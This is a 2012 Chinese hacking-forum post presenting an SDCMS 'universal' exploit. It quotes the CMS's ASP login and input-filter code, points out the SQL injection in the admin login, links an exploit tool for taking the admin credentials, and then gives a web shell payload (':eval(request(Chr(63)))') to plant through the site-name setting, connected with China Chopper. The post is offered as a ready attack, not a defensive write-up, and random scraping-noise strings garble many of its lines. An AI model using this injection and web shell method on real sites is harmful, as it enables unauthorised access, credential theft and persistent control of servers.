找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3690|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥- @- e, ]; i, c1 f% R- z
漏洞文件:后台目录/index.asp
6 d: R( h4 K. q) q/ P) {/ m* t! D: k. T
Sub Check
% C* H2 Y: w/ I5 }2 y    Dim username,password,code,getcode,Rs
( s0 b% T( g9 [0 m    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub' C: c5 M$ _9 x* N* y7 G1 W
    username=FilterText(Trim(Request.Form("username")),1)5 a9 w5 S/ r, Q6 p2 h9 @
    password=FilterText(Trim(Request.Form("password")),1)$ H; a8 j; z4 u1 d4 a
    code=Trim(Request.Form("yzm"))
& {2 X) T  U7 D: y9 Y    getcode=Session("SDCMSCode")8 ]4 H. D) B. [$ i$ l
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died4 m! B, \- u& k8 O( k8 W, ~" K
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
. O8 P: {  \8 u; i+ e% v    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
* c+ ^# r( h% `1 {1 w) s" D    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
- d( O3 C8 R! @' Q    IF username="" or password="" Then
6 H7 i1 C- U$ |* B6 y2 `        Echo "用户名或密码不能为空"ied
; u* n! o1 o! B% ]6 `    Else
6 D% _% x! C, V7 J) S8 t% @        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")& H5 |' i' T/ g* S5 ^% _( P0 \
        IF Rs.Eof Then! B; B, C" _! G* ^+ \
            AddLog username,GetIp,"登录失败",16 j  _) c8 p0 U* B
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"$ T1 `, |% c- F2 V9 |8 C& j$ ]( J
        Else' f. _$ P* H+ Q& L. v5 o3 L6 ~
            Add_Cookies "sdcms_id",Rs(0)
% i2 Y; m' o, w4 e% S            Add_Cookies "sdcms_name",username
6 S* {3 u9 V% G: ~- t, S            Add_Cookies "sdcms_pwd",Rs(2)
) e% M- F- O) m) w6 Z& E" A            Add_Cookies "sdcms_admin",Rs(3)+ p" L) j$ B0 w% N8 J! I
            Add_Cookies "sdcms_alllever",Rs(4)' N" E0 m* a4 I5 c9 S' s6 a
            Add_Cookies "sdcms_infolever",Rs(5)
& t/ C6 _* ~" }! C            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
7 q. ^  Q6 _+ t5 W! \- `, S            AddLog username,GetIp,"登录成功",1- A: W! c% z" n$ q
            '自动删除30天前的Log记录  e( k; j/ I0 k0 S6 o
            IF Sdcms_DataType Then
5 Q6 W$ D" W# T( U% N* L                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")* v* @' P; H; k" L; i, Q$ w
            Else
. N7 {5 E; R5 @! n. P                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")/ T3 p5 J/ s& [- S+ z  i
            End IF1 ]6 n% m6 w9 U7 e2 ~$ I* _& U
            Go("sdcms_index.asp")
5 B* i; V+ C4 N/ w. X% A        End IF
. h8 U3 R# L6 m' ~1 e- O, m- W        Rs.Close
- Q6 `6 e) |  q; p. y        Set Rs=Nothing
( s0 K% a* D0 J6 j6 i    End IF
" {0 r* L8 l7 qEnd Sub
4 I/ z' F) y! N* C  ~- S0 q* H
2 d! q& r* e5 L. L' r6 l’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
6 ?( z5 ^3 C2 l, d8 `( s8 x9 @1 R3 F- x/ x0 U* i* m  `/ v: l$ O
Function FilterText(ByVal t0,ByVal t1)
- b: }" y+ k8 I- R0 {    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
1 {% U* E) R5 a! B" ]  c; |" a* [    t0=Trim(t0)
$ D6 p) j, L3 z4 a2 ^* X0 s    Select Case t19 K% Z, k4 {; _/ g3 w" U
        Case "1"
' f1 Q4 T, w. V! ?, A" i( @4 }            t0=Replace(t0,Chr(32),"")
* i" }3 ^: |9 R1 g) w            t0=Replace(t0,Chr(13),"")! l$ Q& J0 }* j
            t0=Replace(t0,Chr(10)&Chr(10),"")
4 z, H1 H( s1 h* }: C            t0=Replace(t0,Chr(10),"")/ Y; m5 {1 n, Q/ Z; D' V( }5 R
        Case "2", M( j" y2 P  e6 R6 Q9 [
            t0=Replace(t0,Chr(8),"")'回格
  ?4 i0 o2 P0 M! L8 u, S            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
) U0 g9 L- `6 u6 G) o0 Q3 ?            t0=Replace(t0,Chr(10),"")'换行  h- b) f- _( T- s1 \% d
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
( B0 t3 [: N* g7 |            t0=Replace(t0,Chr(12),"")'换页
7 b7 S% H5 r% I* P8 _8 v1 ^/ ^            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
  |- ?* ~) r* Q            t0=Replace(t0,Chr(22),"")
1 Z$ l& @9 q; k% K  @            t0=Replace(t0,Chr(32),"")'空格 SPACE0 T2 s  n' N7 h  p. k3 Q; k
            t0=Replace(t0,Chr(33),"")'!/ Z  [2 H; I: ^+ ]2 R4 E1 E! w4 q
            t0=Replace(t0,Chr(34),"")'": k" B7 D" X# d' Y" f) L
            t0=Replace(t0,Chr(35),"")'#2 _  D1 D5 D& Q- Q, A* l
            t0=Replace(t0,Chr(36),"")'$
  e% h8 e9 ~6 |            t0=Replace(t0,Chr(37),"")'%8 ^4 R: X2 ^. y) o( z5 l
            t0=Replace(t0,Chr(38),"")'&
  e5 [" w3 F$ a, y. z3 r) Y            t0=Replace(t0,Chr(39),"")''
) r2 a9 ~/ Z: \+ R8 |            t0=Replace(t0,Chr(40),"")'(8 Y% a6 \1 |9 a: o! w6 }
            t0=Replace(t0,Chr(41),"")')
5 P1 ?+ H& Q0 f/ v            t0=Replace(t0,Chr(42),"")'*
% F' {6 X- u- Y8 S            t0=Replace(t0,Chr(43),"")'+" L& I0 R; E/ }
            t0=Replace(t0,Chr(44),"")',
; L( U( a  O5 K. T4 ^% h9 ~            t0=Replace(t0,Chr(45),"")'-. P+ j8 ?1 s6 H
            t0=Replace(t0,Chr(46),"")'.
+ `$ J' ~* H& ?/ v/ A# s  ]            t0=Replace(t0,Chr(47),"")'/
% f2 m0 x6 j  r& P, N( J            t0=Replace(t0,Chr(58),"")':
7 e  s3 w9 K2 T+ Y# l            t0=Replace(t0,Chr(59),"")';
5 P7 k* V6 T5 h            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>( ^7 M* l/ h- a/ [! m
            t0=Replace(t0,Chr(63),"")'?4 i# [8 ?4 m, g
            t0=Replace(t0,Chr(64),"")'@
- l: K% z+ y0 q+ B            t0=Replace(t0,Chr(91),"")'\
* A7 S3 @! F( S$ G. ~; p, w4 O            t0=Replace(t0,Chr(92),"")'\. q7 Q0 X( u, t  u" }  {
            t0=Replace(t0,Chr(93),"")']
% w' p  `# B3 u1 Q$ K9 k            t0=Replace(t0,Chr(94),"")'^
- n) W, }) D  u            t0=Replace(t0,Chr(95),"")'_- I  P6 u5 K' s1 H
            t0=Replace(t0,Chr(96),"")'`! ~: ]& R+ u6 g. z/ _& Y* d7 e# b7 i( [1 ?
            t0=Replace(t0,Chr(123),"")'{& \0 K- p1 n0 \% \: M* q
            t0=Replace(t0,Chr(124),"")'|% m! D7 a4 w7 [& L" p. F
            t0=Replace(t0,Chr(125),"")'}
6 q" ~0 z8 h8 [% f& e& H$ b  W            t0=Replace(t0,Chr(126),"")'~* c) ~: n! C, I% |2 T+ x7 L+ P" v
    Case Else( ?3 q  C3 r! S) W2 B4 r5 Q8 A
        t0=Replace(t0, "&", "&")
9 H, P3 H8 @: V5 q+ {$ z' d: G        t0=Replace(t0, "'", "'")( w9 Y2 J4 O% ^+ m5 j. o: ~9 _" m$ a
        t0=Replace(t0, """", """): {  f" K* @  w5 L; G  Z
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
8 k* X% s; s+ T* M. S5 K    End Select
5 _( X6 r, L( [/ X; }! c% G2 n    IF Instr(Lcase(t0),"expression")>0 Then! ^! q3 E( }3 t1 P2 p
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)+ S! z  R4 V- P+ o; B6 ~6 k
    End If
5 I! ^0 {' Z5 P0 x! j0 B    FilterText=t0- \9 D7 f8 E: U4 x/ I. _& D+ s! t8 A8 n
End Function' e& D. X9 A* c0 M+ }0 d' q

. v' A0 [2 A% }( h6 V看到没。直接参数是1 只过滤. `1 m- S1 C: j( X" W, J
                        t0=Replace(t0,Chr(32)," "). T! J( p* A! w- I) t0 N4 F
                        t0=Replace(t0,Chr(13),"")& c4 l' d" S0 c9 M
                        t0=Replace(t0,Chr(10)&Chr(10),"* E+ i4 F& I) ?" G/ H' J2 |* S9 B- T2 H
")& \+ j, p; g9 O) P5 n) @# f
                        t0=Replace(t0,Chr(10),"
1 R/ y  {6 n1 t6 l3 y")
# l6 ~1 @3 L  c- q$ u( H. d' f: g漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!; {8 C8 t8 C! @4 n- ?
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP! \8 j# t7 C9 R5 y: N

' O1 ^( y% y: O0 }' k测试:
( \/ P, h- n; a/ j  z# d) [# X& T8 w( s: ^; v. U

) J9 v* a; _" x& L现在输入工具上验证码,然后点OK* c) o+ ]+ a4 R* V! v' z. o9 [! q+ ^) W

" @7 K5 [0 q' |# X
$ o% {$ d! |+ _2 G: U9 R$ ~3 Q: a看到我们直接进入后台管理界面了,呵呵!
; r: P; ^8 `# r
6 B* t! S7 a- N5 S0 y
+ ^; ], ?  X$ v* G0 z  M( ?% E& ~( u  E. `
这样直接进入后台了。。。。, T7 J& X+ k* T, T: i# L
' c  M" _3 j- }2 K% I7 i: X
" \: d3 h4 T+ s2 V3 q
' Z% F( U, |9 ^: i
SDCMS提权:
  a& u( F. ?: z/ z& q* r, e( T; e+ w
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
4 g4 n" V, ~+ d) X) V% f( Y! |/ K$ c( v3 e7 N7 d. H* H2 M

  z" K6 g0 ]$ f/ G7 C' y: S
' q% ^8 g, B  {- |- n/ P& y# iOK,现在用菜刀连接下!" x) T8 B# }, f1 ]' E# ~$ e1 ^

- [0 l  |& t( H' S0 @, {9 E% k5 r2 s9 o5 b; V

$ N& I% m' O. @# _: T2 t" n4 E9 Z5 c 3 O0 f: v, }( v8 x- ?% a1 C

& ?' n, O, W4 \" K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表